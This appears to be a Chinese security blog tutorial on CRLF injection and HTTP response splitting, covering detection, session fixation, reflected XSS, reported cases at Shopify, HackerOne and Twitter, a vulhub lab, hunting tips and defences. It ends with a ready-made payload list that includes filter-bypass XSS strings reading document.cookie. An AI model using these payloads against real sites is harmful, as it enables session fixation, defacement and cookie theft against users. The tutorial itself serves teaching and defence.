CRLF注入（HTTP响应拆分-截断）

已于 2023-03-27 20:38:34 修改
阅读量3.7k 收藏 46
点赞数 8
分类专栏： 从0到1学习Web安全 文章标签： web安全 网络安全
于 2023-03-27 20:33:24 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_51468027/article/details/129803334
版权

前言

2023年HW厂商斗象面试题——CRLF注入

一、漏洞描述

HTTP报文中， HTTP header之间是由一个CRLF字符序列分隔开的，HTTP Header与Body是用两个CRLF分隔的，浏览器根据这两个CRLF来取出HTTP内容并显示出来。

CRLF注入漏洞，是因为Web应用没有对用户输入做严格验证，导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF，就能注入一些首部字段或报文主体，并在响应中输出，所以又称为HTTP响应拆分漏洞（HTTP Response Splitting）。

所以如果用户的输入在HTTP返回包的Header处回显，便可以通过CRLF来提前结束响应头，在响应内容处注入攻击脚本。因此CRLF Injection又叫HTTP响应拆分/截断（HTTP Response Splitting）简称HRS。

二、漏洞知识拓展

CRLF指的是回车符(CR，ASCII 13，\r，%0d) 和换行符(LF，ASCII 10，\n，%0a)。

CRLF的概念源自打字机，表明行的结束，计算机出现后沿用了这个概念。

回车符：光标移到行首，
换行符：光标垂直移到下行。

键盘上的回车键(Enter)就可以执行该操作。但是不同的操作系统，行的结束符是不一样的

Windows：使用CRLF表示行的结束
Linux/Unix：使用LF表示行的结束
MacOS：早期使用CR表示，现在好像也用LF表示行的结束

所以同一文件在不同操作系统中打开，内容格式可能会出现差异，这是行结束符不一致导致的。

1679840337929-869e3701-156a-4fe4-a048-a1ded57e616a

三、漏洞检测

CRLF注入漏洞的本质和XSS有点相似，攻击者将恶意数据发送给易受攻击的Web应用程序，Web应用程序将恶意数据输出在HTTP响应头中。（XSS一般输出在主体中）

所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL，注入恶意的CRLF，查看构造的恶意数据是否在响应头中输出。

1、找到注入点，构造恶意的CRLF字符

正常请求

http://wolke.cn/index.php?url=http://baidu.com

抓包，在请求行的url参数中加入特殊构造的CRLF字符

GET /index.php?url=http://baidu.com%0d%0aSet-Cookie:crlf=true HTTP/1.1
Host: wolke.cn
Cookie: _ga=GA1.1.1945309492.1638725693; _ga_Q0YHC68NHX=GS1.1.1677577526.284.0.1677577526.0.0.0
Sec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

2、查看恶意数据是否在响应头中输出

将修改后的请求包提交给服务器端，查看服务器端的响应。发现响应首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞，因为我们输入的恶意数据，作为响应首部字段返回给了客户端。

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com
Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

很多人看到这里可能就想不明白，我请求包写入的恶意数据，怎么就被当成响应首部字段输出了？下面我们来看看服务器端源代码

if(isset($_GET["url"]) && ($_COOKIE["security_level"]) != "1" && $_COOkIE["security_level"] != "2")){
  // Debugging
  // echo "Not santized: " . $_GET["url"];

  header("Location: " . $_GET["url"]);

  exit;
}

这是其中一段代码，用PHP写的，需要大家有一定的语言基础。这段代码的意思是：当条件满足时，将请求包中的url参数值拼接到Location字符串中，并设置成响应头发送给客户端。

此时服务器端接收到的url参数值是我们修改后的：

http://baidu.com%0d%0aSet-Cookie:crlf=true

在url参数值拼接到Location字符串中，设置成响应头后，响应包此时应该是下面这样的：

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com%0d%0aSet-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

%0d和%0a分别是CR和LF的URL编码。前面我们讲到，HTTP规范中，行以CRLF结束。所以当检测到%0d%0a后，就认为Location首部字段这行结束了，Set-Cookie就会被认为是下一行，如下所示

HTTP/1.1 302 Found
Pragma: no-cache
Location: http://baidu.com
Set-Cookie: crlf=true
Content-Length: 0
Connection: close
Content-Type: text/html

而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段，这个时候就会将crlf=true设置成Cookie。

GET /index.php?url=http://baidu.com%0d%0aSet-Cookie:crlf=true HTTP/1.1
Host: wolke.cn
Cookie: crlf=true; _ga=GA1.1.1945309492.1638725693; _ga_Q0YHC68NHX=GS1.1.1677577526.284.0.1677577526.0.0.0
Sec-Ch-Ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

重新请求，抓包，发现Cookie中多了crlf=true。

测试的用例大家可能会觉得这漏洞没什么危害性，但试想一下：利用漏洞，注入一个CRLF控制用户的Cookie，或者注入两个CRLF，控制返回给客户端的主体，该漏洞的危害不亚于XSS。

四、漏洞危害

根据插入的CRLF的个数不同，可设置任意的响应头，控制响应正文两个主要的利用办法。具体的危害表现在：会话固定、XSS、缓存病毒攻击、日志伪造等等。

1、会话固定(Session Fixation)

首先说说什么是会话固定攻击，会话固定攻击（session fixation attack）是利用应用系统在服务器的会话ID固定不变机制，借助他人用相同的会话ID获取认证和授权，然后利用该会话ID劫持他人的会话以成功冒充他人，造成会话固定攻击。

会话固定也是会话劫持的一种类型。会话劫持是攻击者偷走受害者与服务器建立链接的会话，而会话固定是攻击者事先建立一个会话，然后诱使受害者使用此会话进行登录，如图所示。

1679842571126-fa07395a-8cd3-42da-a404-225b1d52495e

一个常见的跳转响应包：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn

当攻击者利用CRLF字符对响应头中的Location进行如下输入：

%0d%0aSet-Cookie:JSPSESSID%3Dhackingsite

则返回包会变成：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location: http://www.sinay.com.cn
Set-Cookie: JSPSESSID=hackingsite

攻击者就可以给访问者设置一个session，造成“会话固定”。通过这种攻击方式可以实现插入任意响应Header。

2、反射型XSS

上述案例，如果我们输入的是：

%0d%0a%0d%0a<img src=1 οnerrοr=alert(/xss/)>

则返回包会变为：

HTTP/1.1 302 Moved Temporarily
Date: Fri,26Jun 2018 17:00:05 GMT
Content-type: text/html
Contet-Length: 155
Connection: close
Location:

<img src=1 οnerrοr=alert(/xss/)>

浏览器会根据CRLF将http包分为header和body，然后将body中的内容执行，从而达到XSS。

从上面的案例中，如果遇到XSS过滤的情况我们还可以在httpheader中注入X-XSS-Protection: 0，可绕过浏览器的过滤规则实现XSS弹窗显示。

五、实战案例讲解

1、Shopify响应拆分

shopify会在后台中记录用户上次访问的是哪一个商店，然后将其放置在cookie，如访问/last_shop?xxx.shopify.com，则返回set-cookie:xxx.shopify.com，所以输入：

/last_shop?xxx.shopify.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>deface</html>

最终解析的结果为：

Set-cookie: xxx.shopify.com
Content-Length: 0

HTTP/1.1 200 OK
Content-Type:text/html
Content-Length: 19

<html>deface</html>

2、Hackerone响应拆分

这个案例也是302跳转类型，但略有不同，访问

info.hacker.one/%0d%0a%09headername:%20headervalue

Location正常取值info.hacker.one，剩下的解析为Header头。

1679897330095-e2a2611f-9191-46b8-93fb-24484000f97f

3、Twitter过渡绕过

用户在访问https://twitter.com/i/safety/report_story 地址时，服务器会获取参数reported_tweet_id的值，并将其设置到cookie中，最后导致了漏洞。

这里Twitter禁止用户提交换行符0x0a（%0a），但通过探测，发现其后端检测逻辑为：如果提交的数据是UTF-8编码过的，则会将其解码，去除无用字符后作为cookie输出，所以如果提交%E5%98%8A，不被拦截且经Unicode解码后变为U+560A，最后取0A，同样输入%E5%98%8D最后变成0D，最终payload为：

reported_tweet_id=%E5%98%8A%E5%98%8DSet-Cookie：%20test

1679897422865-6b63e64f-5a36-4c9d-8071-8931b5e92817

探测漏洞存在，可进一步进行利用，输入：

reported_tweet_id=test%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/οnlοad=alert%28innerHTML%28%29%E5%98%BE

经过服务器处理后返回的数据就会变成下面的html响应的形式：

Set-cookie: test
content-type: text/html
location:

<svg/οnlοad=alert(innerHTML)>

4、WEBrick响应拆分

补充一例简单的CRLF，取自CVE-2017-17742：WEBrick取get参数author作为cookie输出，访问

localhost:8080/?author=Aaron%0D%0AX-Foo:%20hacked

返回报文：1679897543211-dd571f88-0640-411b-ac83-70a4b79b1505

六、靶场测试

利用docker搭建vulhub靶场，进入/vulhub/nginx/insecure-configuration目录

docker-compose up -d

8080端口是crlf漏洞靶场

1679919004548-1978c97e-3d40-4ba9-8447-32d7f3e524fb

Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。

1679918925961-a1beb8f1-0e2a-42bc-a1bb-e354385a1e5d

错误的配置文件示例（原本的目的是为了让http的请求跳转到https上）：

location / {
	return 302 https://$host$uri;
}

七、挖掘技巧

挖掘此类漏洞，依旧要遵循亘古不变的原则，观察我们的输入“输入“和“输出”位置，对于CRLF则是观察返回的各种类型的协议头，所以挖掘分三步：

  1. 观察输出是否在返回头中，查看输入，可能是在URL值和参数、cookie头中。在过往的挖掘过程中，最常见的两种情况是使用输入参数创建 Cookie和302跳转location处。
  2. 提交%0D%0A字符，验证服务器是否响应%0D%0A，若过滤可以通过双重编码绕过。
  3. 漏洞利用，使杀伤最大化，将漏洞转化为HTML注入，XSS，缓存等。

八、防御手段

要避免http响应截断，需要注意以下几点：

  1. 对用户的数据进行合法性校验，对特殊的字符进行编码，如<、>、’、”、CR、LF等，限制用户输入的CR和LF，或者对CR和LF字符正确编码后再输出，以防止注入自定义HTTP头。
  2. 创建安全字符白名单，只接受白名单中的字符出现在HTTP响应头文件中。
  3. 在将数据传送到http响应头之前，删除所有的换行符。

九、CRLF Payload

探测漏洞：
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header

开放重定向：
/www.google.com/%2f%2e%2e%0d%0aheader:header

CRLF-XSS：
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20οnlοad=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

XSS绕过：
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/

Location：
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

十、参考链接

  • https://www.cnblogs.com/echojson/p/12805102.html
  • https://www.freebuf.com/column/202762.html
  • https://cloud.tencent.com/developer/article/1516335
w01ke
关注
  • 8
    点赞
  • 踩
  • 46
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
CRLF------MACRO.rar_CRLF MACRO_微机crlf macro
09-24
设有10个学生的成绩分别是76，69，84，90，73，88，89，63，100，80分，试编制一个子程序统计60～69分，70～79分，80～89分，90～99分及100分的人数，放在S6，S7，S8，S9和S10单元中
CRLF注入攻击原理和防范措施
lgdbk的专栏
06-19 878
CRLF注入攻击并没有像其它类型的攻击那样著名。但是，当对有安全漏洞的应用程序实施CRLF注入攻击时，这种攻击对于攻击者同样有效，并且对用户造成极大的破坏。让我们看看这些应用程序攻击是如何实施的和你能够采取什么措施保护你的机构。 CRLF的含义是“carriage return/line feed”，意思就是回车。这是两个ASCII字符，分别排在第十三和第十位。CR和LF是在计算机终端还是电传
Web渗透（一）CRLF注入简介
weixin_39157582的博客
08-21 6180
CRLF注入简介1、基础知识2、原理分析3、漏洞挖掘4、防御手段5、CRLF Payload: 1、基础知识 HTTP报文结构 从上图可以看到：HTTP报文由三部分组成：状态行、首部、主体。 可以看到状态行和首部中的每行都是以回车符（\r，%0d，CR）和换行符（\n，%0a，LF）结束。 十六进制编码分别为0x0d和0x0a，URL编码为%0D和%0A 这是因为HTTP规范中行应该使用CRLF结束。另外，首部和主体由两个CRLF分隔。 2、原理分析 CRLF是 “ 回车+换行 ”（\r\n）的简称。
如何防止HTTP响应截断攻击
最新发布
gmqqcsdn的博客
05-22 947
HTTP响应截断攻击（HTTP Response Splitting）是一种常见的网络攻击方式，攻击者通过在请求中注入恶意的CRLF（Carriage Return Line Feed，即换行符）来拆分HTTP响应。这种攻击使得服务器返回两个或更多的响应，攻击者可以控制其中一个或多个响应，从而实现多种恶意行为，如跨站脚本攻击（XSS）、会话固定、缓存病毒攻击等。参数化查询是一种在SQL查询中使用占位符（如问号、冒号等）表示输入参数的方法，然后将实际的参数值与占位符相绑定。
CRLF 注入漏洞原理以及修复方法
it知识分享 free for nothing..
01-29 842
CRLF 注入漏洞原理以及修复方法
CRLF注入与检测
无痕的博客
01-03 1757
CRLF注入漏洞的介绍与检测
CRLF注入漏洞（响应截断）攻击实战
面向感觉挖洞，背向对象编程。欢迎关注VX公众号：EureKa安全团队
12-28 8090
CRLF是CR和LF两个字符的拼接，它们分别代表”回车+换行”（\r\n）。CRLF可以深度利用，造成反射型XSS攻击，会话固定等漏洞。CRLF造成XSS漏洞。
HTTP响应截断
拉拉的博客
07-19 4184
http响应截断的原理、应用
CRLF-Injection-Payloads:CRLF注射的有效载荷
05-28
CRLF注入，全称为Carriage Return Line Feed Injection，是一种常见的Web安全漏洞，它利用了HTTP响应头中的换行符（CR LF，即`\r\n`）来操纵或篡改服务器的响应。攻击者通过在输入数据中插入CRLF字符，可以进行如...
【技术分享】初识HTTP响应拆分攻击（CRLF Injection） .pdf
09-05
【技术分享】初识HTTP响应拆分攻击（CRLF Injection） 业务安全 企业安全 解决方案 安全 安全分析
CRLF测试工具打包文件
12-27
CRLF（Carriage Return Line Feed，回车换行）注入是一种常见的网络安全漏洞，主要发生在Web应用程序中，攻击者可以通过在输入字段中插入CRLF字符序列，来操纵HTTP响应头，可能导致敏感信息泄露、用户会话劫持甚至...
lsp-eslint-crlf-issue
02-11
"lsp-eslint-crlf-issue"这个标题和描述可能指向一个与JavaScript代码编辑器或IDE中的问题有关，特别是涉及到LSP（Language Server Protocol）和ESLint这两个工具时。 LSP是一种通用协议，它允许代码编辑器和语言...
CRLF注入漏洞、URL重定向、资源处理拒绝服务详细介绍（附实例）
ran的博客
04-26 3767
1.随便访问一个页面，这里以baidu.com为例。2.将其数据包复制一部分出来。3. 当我们在url的后面加上/search时，数据包内的GET后也会对应增加。4.当我们在其后面加入换行的符号，然后再加上host=www.xiaodi8.com，数据包下面就会多出来一行内容。5.那么此时就可能会将数据包里host标识后面的值给覆盖获取取代掉，此时就可能会发生重定向。6.这种漏洞很容易进行检测。
CRLF注入原理
墨痕诉清风的博客
12-02 3052
CRLF 指的是回车符(CR，ASCII 13，\r，%0d) 和换行符(LF，ASCII 10，\n，%0a)，操作系统就是根据这个标识来进行换行的，你在键盘输入回车键就是输出这个字符，只不过win和linux系统采用的标识不一样而已。
HTTP 响应截断攻击
yrx0619的专栏
12-28 6511
0x01 概念 产生原因：对用户提交的非法字符没有做过滤，主要是CR，LF字符的输入。 实现方法：通过构造request，使服务器返回响应时，将构造的request中数据一并返回，构造的数据可能是一个http响应的数据包，这样服务器就等于返回了两个response。 例如： Request A -----&gt; web server (R1, R2) Request B -----&gt; w...
渗透测试-crlf注入原理
lza20001103的博客
12-16 2531
渗透测试-crlf注入原理
CRLF学习了解
weixin_44943389的博客
05-31 1203
在ASCII中，回车（CR）字符用十进制值13或十六进制值0x0D表示，换行（LF）字符用十进制值10或十六进制值0x0A表示。这两个字符通常一起使用，表示将光标移到下一行的开头位置。CRLF在许多操作系统和编程环境中被广泛使用，例如Windows中的文本文件和网络通信中的协议，如HTTP和SMTP。它们是文本格式化和解析的重要元素。
LF 和 CRLF 的区别
Wanan
12-17 9886
crlf 是回车换行的意思，Carriage Return Line Feed，指的是 Windows 的换行符，同\r\n lf 是换行意思，Line Feed，指的是 Unix 的换行符，同\n 为了避免换行符在 git 提交时的差异，一般要指定使用 lf 或 crlf。一般使用 lf，并配置禁止 git pull 时把代码的换行符转换成当前系统的换行符。 git config --global core.autocrlf false ...
常见的网络攻击形式-CRLF注入
xuesaikao的博客
02-12 513
CR和LF是特殊字符（分别为ASCII 13和10，也称为\r \n），用于表示行尾（EOL）。CRLF注入是漏洞，攻击者可以将CR（回车，ASCII 13）和LF（换行，ASCII 10）字符注入Web应用程序。传统信息交流媒体只能单向地传播信息，而多媒体技术实现了人与系统的交流，可以对系统的多媒体处理功能进行控制，具有了机（）功能。1、()越高，所包含的像素就越多，图像就越清晰，印刷的质量也就越好。下列对信息系统安全造成危害的因素中，不属于自然因素的是（）。SMTP和PoP3分别是（）邮件的协议。
CRLF注入（响应截断）挖掘技巧及实战案例
03-05
CRLF注入（响应截断）是一种常见的Web安全漏洞，攻击者可以通过在HTTP响应中插入特殊字符来绕过服务器的安全机制，从而进行恶意操作。挖掘CRLF注入漏洞的技巧包括：使用工具扫描目标网站、手动构造HTTP请求、分析响应报文等。实战案例中，攻击者可以利用CRLF注入漏洞进行网站劫持、恶意重定向、XSS攻击等。为了防范CRLF注入漏洞，开发人员应该对输入参数进行严格的过滤和验证，避免将用户输入的数据直接拼接到HTTP响应中。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值